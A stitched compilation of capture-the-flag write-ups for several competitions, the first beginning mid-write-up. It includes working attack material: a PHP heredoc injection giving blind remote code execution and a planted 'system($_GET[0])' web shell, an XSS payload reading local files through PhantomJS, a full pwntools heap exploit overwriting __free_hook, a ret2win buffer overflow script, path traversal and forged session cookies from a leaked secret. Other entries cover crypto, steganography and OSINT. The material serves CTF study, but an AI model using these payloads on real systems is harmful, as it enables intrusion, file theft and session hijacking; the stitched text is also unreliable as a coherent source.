```php10 15){ $_GET['tryharder'] = 0; } $contents = file_get_contents(__FILE__); $search_pattern = '/\$var = <<<xd\s*(.*)\s*xd/im'; preg_match($search_pattern, $contents, $matches); $new_contents = preg_replace_callback($search_pattern, function($matches) { return str_replace($matches[1], $_GET['tryharder'], $matches[0]); }, $contents); file_put_contents(__FILE__, $new_contents, LOCK_EX);}); ```
After the button press, you are redirected to a page like the following URL: `/secrets/3db406bb8ed1399d75a88f31b9aac730/index.php`
Here you can specify a value for the `tryharder` parameter.
```GET /secrets/3db406bb8ed1399d75a88f31b9aac730/index.php?tryharder=<your_value_here> HTTP/1.1Host: 35.242.253.155:30574User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://35.242.253.155:30574/Upgrade-Insecure-Requests: 1```
A payload can be the following, in order to use *code injection* to break the *heredoc* and obtain a blind RCE.
```phpxd;`$_GET[0]`;```
Payload must be URL-encoded.
```%78%64%3B%0A%60%24%5F%47%45%54%5B%30%5D%60%3B```
Sending it, the page will become the following.
```php1 15){ $_GET['tryharder'] = 0; } $contents = file_get_contents(__FILE__); $search_pattern = '/\$var = <<<xdxd;`$_GET[0]`;xd/im'; preg_match($search_pattern, $contents, $matches); $new_contents = preg_replace_callback($search_pattern, function($matches) { return str_replace($matches[1], $_GET['tryharder'], $matches[0]); }, $contents); file_put_contents(__FILE__, $new_contents, LOCK_EX);});```
Using the blind RCE, you can execute a command to create another PHP page with a more useful web shell. For example, the following code can be used.
```phpecho 'Output:<br />' > shell.php```
Payload must be URL-encoded.
```%65%63%68%6F%20%27%4F%75%74%70%75%74%3A%3C%62%72%20%2F%3E%3C%63%6F%64%65%3E%3C%3F%70%68%70%20%65%63%68%6F%20%73%79%73%74%65%6D%28%24%5F%47%45%54%5B%30%5D%29%3B%3F%3E%3C%2F%63%6F%64%65%3E%27%20%3E%20%73%68%65%6C%6C%2E%70%68%70```
Now you have a simpler web shell to use that returns the output of executed commands. Commands are passed via GET `0` URL parameter.
With this you can discover where the flag is.
```http://35.242.253.155:30574/secrets/0641302347967910d65b269202ed912d/shell.php?0=ls%20-al%20../../
Output:total 56drwxrwxrwx 1 www-data www-data 4096 Dec 6 12:25 .drwxr-xr-x 1 root root 4096 Sep 12 2019 ..-rw-r--r-- 2 www www 2 Dec 6 10:57 apache2.pid-rw-rw-r-- 1 root root 153 Dec 1 08:31 flag.phplrwxrwxrwx 1 www www 6 Dec 6 12:25 html -> l/html-rw-rw-r-- 1 root root 2692 Dec 1 08:31 index.phpdrwxrwxr-x 1 www www 24576 Dec 6 19:18 secretsdrwxrwxr-x 1 www www 24576 Dec 6 19:18 secrets```
You can copy the flag file in the current directory.
```http://35.242.253.155:30574/secrets/0641302347967910d65b269202ed912d/shell.php?0=cp%20../../flag.php%20.
http://35.242.253.155:30574/secrets/0641302347967910d65b269202ed912d/shell.php?0=ls%20-al
Output:total 44drwxr-xr-x 2 www www 4096 Dec 6 19:35 .drwxrwxr-x 1 www www 24576 Dec 6 19:18 ..-rw-r--r-- 1 www www 153 Dec 6 19:35 flag.php-rw-r--r-- 1 www www 770 Dec 6 19:31 index.php-rw-r--r-- 1 www www 57 Dec 6 19:31 shell.php-rw-r--r-- 1 www www 57 Dec 6 19:31 shell.php```
And print the flag file content.
```http://35.242.253.155:30574/secrets/0641302347967910d65b269202ed912d/shell.php?0=cat%20flag.php
Output:
```
The flag is the following.
```CTF{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}``` |
shoelaces
Do you double-knot your shoelaces? You gotta keep’em tied! file: shoelaces.jpg
Use strings to find flag.
Flag: flag{137288e960a3ae9b148e8a7db16a69b0} |
# DarkCON CTF 2021 – Capture the Meme
* **Category:** web* **Points:** ?
## Challenge
> Made this meme generator for ya :) hope you like some memes > > Note: Flag at /etc/flag.txt> > http://capture-the-meme.darkarmy.xyz/
## Solution
The web application allows you to create a meme specifying the URL of an image, the top text and the bottom text. The image can be exported in PDF format clicking on the "Export!" button.
Clicking on the button, the following request is created.
```POST /export HTTP/1.1Host: capture-the-meme.darkarmy.xyzContent-Length: 93Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://capture-the-meme.darkarmy.xyzContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://capture-the-meme.darkarmy.xyz/Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Cookie: __cfduid=df45261952c636f9cab5329dc89f8aab11613847303Connection: close
url=https%3A%2F%2Fimgflip.com%2Fs%2Fmeme%2FLaughing-Leo.png&upper=top+test&bottom=bottom+test```
Creating a listener, you can discover that two requests are performed to retrieve the image.
```user@machine:~$ sudo nc -lkp 1337HEAD /foo.jpg HTTP/1.1host: x.x.x.x:1337content-length: 0Connection: close
GET /foo.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1Accept: */*Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en,*Host: x.x.x.x:1337```
*PhantomJS/2.1.1* is vulnerable to *CVE-2019-17221* and it is a deprecated package:* [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17221](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17221);* [https://github.com/h4ckologic/CVE-2019-17221/blob/master/PhantonJS_Arbitrary_File_Read.pdf](https://github.com/h4ckologic/CVE-2019-17221/blob/master/PhantonJS_Arbitrary_File_Read.pdf);* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/).
After some analysis, you can discover that top and bottom texts parse the HTML, interpreting it.
So it is sufficient to craft a payload like the following for one of the two texts.
```html<script>x = new XMLHttpRequest; x.onload = function() { document.write(this.responseText) }; x.open("GET", "file:///etc/flag.txt"); x.send();</script>```
Putting the payload in a request like the following.
```POST /export HTTP/1.1Host: capture-the-meme.darkarmy.xyzContent-Length: 292Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://capture-the-meme.darkarmy.xyzContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://capture-the-meme.darkarmy.xyz/Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Cookie: __cfduid=df45261952c636f9cab5329dc89f8aab11613847303Connection: close
url=https%3A%2F%2Fimgflip.com%2Fs%2Fmeme%2FLaughing-Leo.png&upper=%3Cscript%3Ex+%3D+new+XMLHttpRequest%3B+x.onload+%3D+function%28%29+%7B+document.write%28this.responseText%29+%7D%3B+x.open%28%22GET%22%2C+%22file%3A%2F%2F%2Fetc%2Fflag.txt%22%29%3B+x.send%28%29%3B%3C%2Fscript%3E&bottom=bottom```
A [PDF with the flag](https://github.com/m3ssap0/CTF-Writeups/raw/master/DarkCON%20CTF%202021/Capture%20the%20Meme/export.pdf) will be returned.
```darkCON{wh4t_1f_1_t01d_u_h4v3_r1ght_f14g_0f_th1s_ch411}``` |
We can execute the binary which yields a binary file output.tetr. Using xxd output.tetr reveals no flag unfortunately.
We analyze the executable with ghidra. Basically, the program takes a string encoding Tetris game states ([https://github.com/knewjade/tetris-fumen](https://github.com/knewjade/tetris-fumen), [https://harddrop.com/wiki/SRS#How_Guideline_SRS_Really_Works](https://harddrop.com/wiki/SRS#How_Guideline_SRS_Really_Works)), parses it into internal structures. Then the game states are written into a file using a simple run-length encoding (type, len). To get the flag, we have to read the file secret.tetr and reconstruct the tetris frames and feed it into [https://harddrop.com/fumen/](https://harddrop.com/fumen/) frame by frame. The page then calculates the flag in the v115 tetris format.
Full write-up: [https://github.com/jlp1701/utctf-2021/tree/master/re/file_tetr](https://github.com/jlp1701/utctf-2021/tree/master/re/file_tetr) |
```from pwn import *
p = remote("challenge.nahamcon.com", 30776)#p = process("./meddle", env={"LD_PRELOAD":"./meddle_libc.so.6"})libc = ELF("meddle_libc.so.6")def add(album, artist): p.sendlineafter("> ", "1") p.sendlineafter(": ", album) p.sendlineafter(": ", artist)
def show(idx): p.sendlineafter("> ", "2") p.sendlineafter("? ", str(idx))
def delete(idx): p.sendlineafter("> ", "4") p.sendlineafter("? ", str(idx))
def rate(idx, number): p.sendlineafter("> ", "3") p.sendlineafter("? ", str(idx)) p.sendlineafter("? ", str(number))
'''This one has Use After Free vulnerability inthe view and delete function, which mean we could delete the chunks twice or as many times as you could want.
and provided LIBC didn't had double free check for tcache binsThat being said, fill the tcache bins and get the chunk tounsorted bin and leak the main_arena address and get the LIBCbase address, that being said, double free the tcache chunk, overwrite the fd with the __free_hook and then overwrite itwith the one_gadget'''
# Allocate 9 chunks, 7 of them being in tcache# 3 of them being in unsorted bin
for i in range(9): add("A"*80, "B"*48)
# Fill the tcache bins of size 0x90for i in range(7): delete(i)
# Chunk 7th will go to the unsorted bindelete(7)# Get the main_arena addressshow(7)
'''Also, the first 4 bytes of the chunk will beoccupied with the ratings, so considering that, during leak or overwrite we have to carefully dothe work for it.'''
# Leak LIBC and parse the valuye from name and ratinggs carefullyp.recvuntil(": ")leak = hex(u16(p.recv(2).ljust(2, b"\x00")))log.info("LEAK 1st: %s" %(leak))p.recvline()p.recvline()p.recvuntil("ratings: ")leak += "%x" % (int(p.recvline().strip()))log.info("LEAK: %s" %(leak))libc.address = int(leak.replace("-", ""), 16) - 0x3ebca0log.info("LIBC: 0x%x" %libc.address)
target = libc.symbols['__free_hook']
# Now, add 5 more chunks to the tcachefor i in range(5): add("A"*8, "B"*4)
# Double free the 12th index chunk - count = 13delete(12)delete(12)
# Overwrite the fd of the 12th chunk with the # __free_hoojadd(p32(target >> 32), "bbb")rate(12, target & 0xffffffff)
# Get the 12th chunk pointeradd("xxx", "xxx") # count = 15one_gadget = libc.address + 0x4f322
# Now, overwrite the __free_hook with the one_gadgetadd(p32(one_gadget >> 32), "bbb")rate(16, one_gadget & 0xffffffff)
'''vagrant@ubuntu-bionic:~/sharedFolder/CTFs/NahamCon/pwn$ python3 meedle.py [+] Opening connection to challenge.nahamcon.com on port 30776: Done[*] '/home/vagrant/sharedFolder/CTFs/NahamCon/pwn/meddle_libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] LEAK 1st: 0x7f6c[*] LEAK: 0x7f6c10aefca0[*] LIBC: 0x7f6c10704000[*] Switching to interactive mode
1. add an album2. view an album3. rate an album4. delete an album5. exit> $ 5$ lsbindevetcflag.txtliblib64meddleusr$ cat flag.txtflag{877bea36ee5cb09f6ee959de2c6ac678}$ [*] Interrupted'''p.interactive()``` |
# It's wasm time
## Steps* download wasm file* convert into c, `wasm2c uctf_check.wasm -o uctf_check.c`* find flag length using ghidra, it's 40* find hash values and location of computed hashes* hook memcpy function and print values in computed hashes range* write main function to call Z_check_flagZ_iii* compile, `gcc -o bin main.c uctf_check.c /usr/share/doc/wabt/examples/wasm2c/wasm-rt-impl.c -I /usr/share/doc/wabt/examples/wasm2c/ -m32`* figure out thath hashes are checked in reverse order and depends on previous chars (?)* write bruteforce script
## Solver script```pythonimport subprocesshashes = [3376432092, 3148712937, 1092076640, 3085618703, 1307668188, 3064531694, 3095200819, 1314007355, 1606225393, 1858895620, 2335139813, 3037063580, 1259113065, 3219670873, 938526970, 969196095, 1671119862, 4272550096, 269800838, 522471065, 294751910, 2811768691, 1081432078, 1783355845, 4021686844, 18937586, 4043001627, 1741576394, 4258593175, 1720489385, 1751158510, 2453082277, 2213928557, 1943025302, 2644949069, 866998554, 347023697, 2340565760, 4097429266, 55132197]
FINAL_LEN = 40CURRENT_CHAR = FINAL_LEN - 1FLAG = ["A"] * FINAL_LEN
CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}-"for _ in range(FINAL_LEN): for c in CHARS: FLAG[CURRENT_CHAR] = c flag = "".join(FLAG) output = int(subprocess.check_output(f"echo '{flag}' | /tmp/bin | grep '^{CURRENT_CHAR}:'", shell=True).split()[-1].strip().split(b":")[-1]) if output == hashes[CURRENT_CHAR]: print(CURRENT_CHAR, flag) CURRENT_CHAR -= 1```
## Main```c#include "uctf_check.h"#include <stddef.h>#include <stdio.h>int main(int argc, char** argv) { init(); u32 *ptr = *(u32 *)Z_memory + 0x1000; scanf("%40s", ptr); u32 result = Z_check_flagZ_iii(0x1000, 40); return result;}```
### Hooking memcpy ```cvoid *Hook_memcpy(void *dest, const void *src, size_t n) { if(dest >= *(u32 *)&memory + 0x000f3fd8 && dest <= *(u32 *)&memory + 0x000f3fd8 + 40 * 4) { printf("%d:%u\n", ((u32)dest-0x000f3fd8 - *(u32 *)&memory)/4, *(u32 *)src); } return memcpy(dest, src, n);}
#define memcpy(a, b, c) Hook_memcpy(a, b, c)``` |
Gallery=======
Task description----------------
> http://gallery.q.2019.volgactf.ru
Solution--------
Visiting the [Gallery](http://gallery.q.2019.volgactf.ru/) results in a loginform. There is no registration. There are links for four galleries: 2018, 2017,2016 and 2015, linked to `/2018`, `/2017` and so on. They require login, butstill load the `js/main.js` which does an XHR request to some API at`/api/images?year=2018`. This API returns a “403 Forbidden” page if you arenot logged in. However, there are two ways to bypass this: The server runsnginx which is misconfigured. It protects `/api`, however, it does not protect`//api`, so requesting `//api/images?year=2018` results in an unprotected API.In addition, there is a NodeJS server (with the Express framework) running onport 4000, which is proxied by the beforementioned nginx. So alternatively,you can access the unprotected API at `http://gallery.q.2019.volgactf.ru:4000/api`.The images API endpoint returns a list of files as JSON list: `["2.jpg","3.jpg", "5.jpg","6.jpg","4.jpg","1.jpg"]`. In the following, we refer to`/api` as the unprotected endpoint, for whatever way is used to bypass theprotection.
Looking at the `js/main.js`, we see that there is another endpoint, namely`/api/image?year=${year}&img=${img}`. This endpoint serves the image files.So you can view nice pictures from VolgaCTF events using for example`/api/images?year=2018&img=1.jpg`. However, the pictures include no relevantinformation (unless you want to do some lockpicking :-)).
Digging further, we find a path traversal vulnerability in both of theseendpoints. The `images` endpoint can be used to show the content of arbitrarydirectories. The `image` endpoint turns out to be useless for an attack, wewill elaborate on that later.
So using the `images` endpoint like `/api/images?year=2018` will result inthe directory `/var/www/apps/volga_gallery/storage/app/{year}/img/` to belisted. We can chop off the `/img/` part by using a null byte, i.e., visiting`/api/images?year=../%00` will result in `/var/www/apps/volga_gallery/storage`to be listed. Using `year=../../../../%00` we will find a file named `flag`.
At first sight, we might use the `image` endpoint to retrieve this file, byrequesting `/api/image?year=../../../../%00&img=flag`. So, this endpoint willconstructs the path in the following way:`/var/www/apps/volga\_gallery/storage/app/{year}/img/{img}`However, this path is passed to the PHP function `file_exists`, which bailsif you pass it a null byte (“file_exists() expects parameter 1 to be a validpath, string given”). This exception is rendered nicely by a Laravel exceptionpage, so you see more information (like the full path mentioned before).Unfortunately, there is no additional relevant information.
Moreover, any slashes (including forward and backward slashes) are removedfrom the `img` parameter, so `api/image?year=../../../../&img=../flag` (whichwould remove the `/img/` part added) does not work. Also other path traversaltricks (double encoding, UTF-16 encoding, truncation ...) do not work.
Looking again, we find another file of interest when requesting`/api/images?year=../../../volga_adminpanel/sessions%00`:`euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json` which probably contains a validsession we could steal. Again, there is no way to read this file directly.
Looking for the cookie name the Express framework (NodeJS) resulted in`connect.sid`. So we set a cookie `connect.sid` with the value of`euzb7bMKx-5F29b2xNobGTDoWXmVFlEM`. Turns out not to work :-(
Reading the source code of `express-session` (the session framework ofExpress) shows that they actually sign the cookies with a secret key. A fewmore directory traversal requests we stumbled upon the configuration filenamed config.js via `/api/images?year=../../../volga_auth/js%00`. We candownload this file directly via HTTP at `/js/config.js`. Furthermore, thereare two additional files of interest: `/js/index.js` and `js/auth.js`.
The configuration file looks like:
const config = { apiPrefix: '/api', server: { port: 4000 }, proxy: { target: 'http://localhost:5000', autoRewrite: true }, session: { name: 'SESSION', saveUninitialized: false, secret: ';GmU1FSlVETF/vzEaBHP', rolling: true, resave: false }, whitelistPaths: [ '/api/login', '/api/logout' ] }
So we have the secret, yay! And the cookie is renamed from the default`connect.sid` to `SESSION`. So we thought “Nur noch ein kleiner Schnitt durchsKuchenblech” (German-speaking people: Search “Kuchenblechmafia” on YouTube,others: It rougly translates to “basically solved, just a trivial step left”).
The easiest way to generate a signed cookie is now just to change the configfile the following way and run the server to receive the cookie:
session: { genid: function() { return "euzb7bMKx-5F29b2xNobGTDoWXmVFlEM" }, name: 'SESSION', saveUninitialized: true, // ...
So we got the cookie value (`s%3ACLPlzjlR_Lpfk1S0xWpl5w333HuVYLM9.qygCVWau45L5jPSQyfO%2BfPLC22loSdoYs9knaOxf%2BKc`),applied it to our browser and visit `/api/flag` (you can find that endpoint inthe `js/index.js` from before) and receive our flag. Did not work. WTF?Checking everything again. Still does not work. Joy turns into frustration.VolgaCTF Qualifier 2019 ended without us having that task solved. Good bye 300points :-(
Turns out the path used for session is not the one were we found the sessionfile. Thanks to quality JS software (session-file-store), there is anothertraversal vulnerability under the assumption that you can sign the sessioncookie.
Editing `js/config.js` again:
session: { genid: function() { return "../../../../../../../../../../../../../../var/www/apps/volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM" }, name: 'SESSION', saveUninitialized: true, // ...
Again, run the server, get the cookie, pass it on to `/api/flag`. Works. Wereceived the flag: `VolgaCTF{31c2ac53d4101a01264775328797d424}`. Thanks tothe organizers for keeping the service running for some time after thecompetition! Finally seeing the flag made us happy again :-)
|
# Default GET API
We first unpack the APK and find a java file with a list of API calls and one with a token and API endpoint. We are now able to connect to that endpoint using the link and the auth header.
We get this
and this
My first instinct once I got to Postman to test the APIs was, well... scan for default APIs that may not be in the API service file. Use a default GET api on /users and get the list of all available users. And it kinda worked :)
Getting list of users
I noticed at this point that after the fourth user Orion, it's other hackers trying SQL injections and other cheeky methods. So all I had to do was try out the GET /notes of the first four users using their UUID. We get the flag in Gemini Coley.
Always test basic endpoints before diving into complex solution :) |
1. hashcat the zip```password: decrypt```2. the most outstanding file: 1847.png```exiftool 1847.png```We get:```Copyright Notice : A2DDi`gfcdej7:=6l`_];A68```3.ROT47 : ```pass:187456;file=10.jpeg```4.```steghide extract -sf 10.jpeg```Enter passphrase```187456```5. We got output flag.txt containing:```++++++++[>+>++>+++>++++>+++++>++++++>+++++++>++++++++>+++++++++>++++++++++>+++++++++++>++++++++++++>+++++++++++++>++++++++++++++>+++++++++++++++>++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>>>>>>>>>-.+<<<<<<<<<<<<<<>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<>>>>>>>>>>>>>>+++.---<<<<<<<<<<<<<<>>>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>+++.---<<<<<<<<<<<<<<<>>>>>>>>>>>>>>--.++<<<<<<<<<<<<<<>>>>>>.<<<<<<>>>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<<<>>>>>>>>>>>>-.+<<<<<<<<<<<<>>>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<<<>>>>>>>>>>>>>.<<<<<<<<<<<<<>>>>>>+++.---<<<<<<>>>>>>>>>>>>-.+<<<<<<<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>+.-<<<<<<>>>>>>>----.++++<<<<<<<>>>>>>>>>>>>>-.+<<<<<<<<<<<<<>>>>>>>>>>>>-.+<<<<<<<<<<<<>>>>>>>>>>>>>+++.---<<<<<<<<<<<<<>>>>>>+++.---<<<<<<>>>>>>+++.---<<<<<<>>>>>>>>>>>>>>.<<<<<<<<<<<<<<>>>>>>>>>>>>-.+<<<<<<<<<<<<>>>>>>>>>>>>>----.++++<<<<<<<<<<<<<>>>>>>+.-<<<<<<>>>>>>>>>>>>>-.+<<<<<<<<<<<<<>>>>>>>>>>>>>-.+<<<<<<<<<<<<<>>>>>>+.-<<<<<<>>>>>>>>>>>>>>--.++<<<<<<<<<<<<<<>>>>>>>---.+++<<<<<<<>>>>>>>>>>>>>>>>---.+++<<<<<<<<<<<<<<<<>++.--<>>>>>>>+.-<<<<<<<>>>>>>>--.++<<<<<<<>>>>>>>++.--<<<<<<<>>>>>>>.<<<<<<<>>>>>>>---.+++<<<<<<<>>>>>>>----.++++<<<<<<<>>>>>>>-.+<<<<<<<>>>>>>>+.-<<<<<<<>>>>>>+++.---<<<<<<>>>>>>>--.++<<<<<<<>>>>>>>---.+++<<<<<<<>>>>>>>----.++++<<<<<<<>>>>>>>-.+<<<<<<<>>>>>>>.<<<<<<<>>>>>>>>>>>>+++.---<<<<<<<<<<<<>>>>>>>>>>>>>--.++<<<<<<<<<<<<<>>>>>>++.--<<<<<<>>>>>>.<<<<<<.```6. Brainfuck encrypted text // https://bit.ly/3c4bdfp```codefest{n0t_th3_f14g_k33p_d1gg1n5}96:85479365478cf20```7. Fake flag + numbers: let's try 96'th image:```steghide extract -sf 96.jpeg```Entering passcode:```85479365478cf20```and we get:```tｈｉs ⅰｓ tｈe ｆlａg yоu ｈaνe to thіｎk abоｕt it. ```8. Which is Twitter Secret Messages encryption used before in one of OSINT challs. I used:```https://holloway.nz/steg/```and got```tw33t_3nc0d3```which was the flag. |
### OSINT Part 2>Find the origins of the linked file found in part 1.
Picture: https://drive.google.com/file/d/1nhmAthcCUWZ-9ekD20nvVdlannsMPYlb/view
Pasted the picture in google picture and found this blog https://tobiasmaier.blogspot.com/2021/03/blog-post_6.html. In the comment section was the flag. Flag: **utflag{r3v3rs3d_t0_0r1g1nal}** |
tldr;- we are given most of the seed (185 bits out of 256)- use coppersmith to recover the full seed
[writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#easy-pseudo-random) |
Rearrange what we receive from the server in 41x21 matrix and we get a [QR code](https://github.com/CTF-STeam/ctf-writeups/tree/master/2021/UgraCTF/qr.txt).
Flag: `ugra_soviet_technologies_are_eternal_ee7c486eb987` |
# Lyra Patte — Marketing#osint
Looking around, Lyra has a [Twitter profile](https://twitter.com/LyraPatte), and on there she seem to have posted something she shouldn't
```@LyraPatte·Mar 9Oh, Pavo wasn't able to able to share the job application portal, so I'll share it here. https://constellations.page/constellations-documents/1/We look forward to seeing your applications!```
Oh Lyra... I mean, at least she put up another post telling everyone to _definitely ignore that last post of hers!_ - Sorry Lyra!
By manipulating the number, we are able to get some interesting pages out, that we might want to keep - as they might make for nice dictionaries. Then there is `constellations-documents/5/` - yes, please hand me a list of usernames and default passwords ? I am sure nothing bad can come of that :)
```$ wget https://constellations.page/constellations-documents/5/ > 5-default-account-passwords.html```
This file has a flag:
`flag{bd869e6193c27308d2fd3ad4b427e8c3}`
_The usernames and passwords were stored for later, and came in use in the next challenge `Hydraulic`_ |
## web
### Source it!Description:*Can you see how this page handles authentication?*
http://web1.utctf.live:8778/
When we look at the front page we have a login portal. As it says in the title, lets check out the source.
OK, the source gives us some code. It looks like we need to put in the password that equates to a hash. Luckily it also tells us the user should be 'admin'.
```html<script src\="[assets/js/main.js](http://web1.utctf.live:8778/assets/js/main.js)"></script>
<script>function checkPassword(form) {password1 = form.password1.value;name = form.name.value;var username = "admin";var hash = "1bea3a3d4bc3be1149a75b33fb8d82bc";var hashedPasswd = CryptoJS.MD5(password1);if (password1 == '')alert ("Please enter Password");else if (username != name) {alert ("\\nYou lack access privlages...")return false;```
As well as telling us the hash, it also suggests that it is a variant of MD5. Let's look at some online hash cracking sites.
Lets use the first one and check our hash.
Now we have our username and password, lets type it in and see what we get.
Flagutctf{b33n_th3r3_s0uRc3d_th4t}
### OinkerDescription:*I found this cool more private alternative to twitter.*
http://web2.utctf.live:5320/
Our hjint for this challenge was:*Post two phrases with the same text and notice what changes between them*
This takes us to a page that has a text box.
If we submit a test, it displays it on the webpage.
However we do notice after the earlier hint, it looks as though the browser url changes each time.
If we do it again, it goes up by one number showing us what other people have added.
I simply started at one, which indicated a test.
I thent went to number two and it gave me the flag.
Flagutflag{traversal_bad_dude}
I did also try using a python code to get the same answer.```pythonimport requests# Range set between 1 and 100 incremented by 1for oink in range(1,100,1): print(oink) # just to see what it shows html = requests.get(f'http://web2.utctf.live:5320/oink/{oink}') print(html.text)```This provided me with a lot of html code.```html3
<title> Oinker </title><style>body { background-color: #ffc0cb;}</style>
<body>
<h1> Oinker </h1>
<h2> do y'all like our logo? </h2>```So looking at what it produces, the text is in the 'h2' header within the body. This being the case I just piped it into grep, where I asked for all 'h2', which made searching easier.
```html~$ python3 test1.py | grep '<h2>' <h2> testing oink </h2> <h2> utflag{traversal_bad_dude} </h2> <h2> do y'all like our logo? </h2> <h2> oink </h2> <h2> oink </h2> <h2> b </h2> <h2> z </h2> <h2> i </h2> <h2> qw </h2> <h2> oink </h2> <h2> oink1 </h2> <h2> -- oink1c3 </h2> <h2> -- oink1c3 </h2> <h2> qwddqdqdqd </h2>```
|
### Analyzing binary ```bash$ file ./source_fixed ./source_fixed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f268025da756ac40a35510d1e0af422bdef7af6, for GNU/Linux 3.2.0, not stripped
```### Checking security```bash $ checksec source_fixed[*] '/home/guru/Desktop/ctf/1/source_fixed' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
```### Disassemble```cundefined8 main(void){ puts("I will give you my secret if you can run my function"); vuln(); puts("This is not my function :"); return 0;}
void vuln(void){ char local_28 [32]; gets(local_28); //overflow here return;}
void print_flag(void){ FILE *__stream; __stream = fopen("flag.txt","r"); fgets(flag,0x40,__stream); printf(" Thanks for running my function, here is my secret : %s%s%s",&DAT_00402018,flag, &DAT_00402013); return;}```
### Objective
Overflow `local_28` and control `RIP` register and navigate to `print_flag` function.
### Exploit```pythonfrom pwn import *
elf = ELF('./source_fixed')#proc = elf.process()proc =remote("chall.codefest.tech", 8780)
offset = 40
payload = b"A"*offset + p64(elf.symbols['print_flag'])log.info(b'Payload Generated')proc.recvuntil('\n')
proc.sendline(payload)
print(proc.recvuntil('\n'))proc.close()``` |
# LINE CTF 2021 - Crypto - babycrypto3
```txt$ ./msieve -q -v -t 16 -e
Msieve v. 1.53 (SVN unknown)Sat Mar 20 10:16:39 2021random seeds: 341f86e1 eead51a2factoring 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337 (119 digits)searching for 15-digit factorssearching for 20-digit factorssearching for 25-digit factors200 of 214 curvescompleted 214 ECM curvessearching for 30-digit factorsECM stage 2 factor foundp42 factor: 291664785919250248097148750343149685985101p78 factor: 109249057662947381148470526527596255527988598887891132224092529799478353198637elapsed time 00:01:27```
```pyfrom Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytes, bytes_to_long
f = open('pub.pem', 'r')key = RSA.importKey(f.read())
p = 291664785919250248097148750343149685985101q = 109249057662947381148470526527596255527988598887891132224092529799478353198637
with open('ciphertext.txt', 'rb') as f: c = bytes_to_long(f.read()) d = pow(key.e, -1, (p-1)*(q-1)) m = pow(c, d, key.n) print(long_to_bytes(m))```
```sh❯ python a.pyb'\x02`g\xff\x85\x1e\xcd\xcba\xe5\x0b\x83\xa5\x15\xe3\x00Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==\n'
❯ echo -n Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg== | base64 -dCLOSING THE DISTANCE.```
`LINECTF{CLOSING THE DISTANCE.}` |
# CTFSecurinets Quals 2021 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2021
## Bypass TheEmperor's Guards
**Category:** Web**Points:** 584**Solves:** 35**Author:** TheEmperors**Description:**
>TheEmperor created an HTML form where he was trying to show that he can store his password there without any risk thanks to his faithful guards that will prevent anyone from getting access to the flag.
>For simplicity reason, he knows that obfuscating so much the code would decrease its performance. That's why he only remained on his guards and for another simplicity reason, he didn't want to put a compact code (the code is beautified) since the objective is to test how powerful are his guards.
>Now, bypass TheEmperor's guards and get a full access to the empire with his mighty flag.
>Link: https://web3.q21.ctfsecurinets.com/
**Hint:**
> No hint.
### Write-upWhen you visit the task page, you will get this page
When you look at [the source code of the web page](resources/web-584-bypass_the_emperors_guards/source_code/warmup.html):
You'll see an obfuscated Javascript. And when you try to put dummy password in the form and you click on "login", you'll get this alert():
Well, we need to check how we this alert was triggered. So in the source code, when we submit the form, the function `validateform()` is called.
The first thing that I've tried to do is to check the developer's Network (by right click + inspect the element + go to Network tab), once I open the developers tool, the execution will be paused by the debugger
